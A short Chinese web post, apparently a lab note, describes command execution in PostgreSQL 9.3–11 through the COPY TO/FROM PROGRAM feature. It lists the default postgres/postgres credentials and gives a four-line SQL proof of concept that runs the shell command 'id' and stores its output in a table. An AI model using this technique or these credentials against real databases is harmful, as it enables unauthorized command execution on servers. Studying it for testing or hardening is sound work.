PostgreSQL 高权限命令执行漏洞


PostgreSQL 是一款关系型数据库。其9.3到11版本中存在一处“特性”,管理员或具有“COPY TO/FROM PROGRAM”权限的用户,可以使用这个特性执行任意命令。


默认账号密码为postgres/postgres。

首先连接到postgres中,并执行参考链接中的POC:


  1. <font face="宋体" size="4">DROP TABLE IF EXISTS cmd_exec;

  2. CREATE TABLE cmd_exec(cmd_output text);

  3. COPY cmd_exec FROM PROGRAM 'id';

  4. SELECT * FROM cmd_exec;</font>



FROM PROGRAM语句将执行命令id并将结果保存在cmd_exec表中

大概就这些……


安卓手机时间突然变慢10多分钟:原因不详

外交部:中国遭受境外网络攻击持续增加

获取更多资讯请加入交流群


    协助本站SEO优化一下,谢谢!
    关键词不能为空
评 论
更换验证码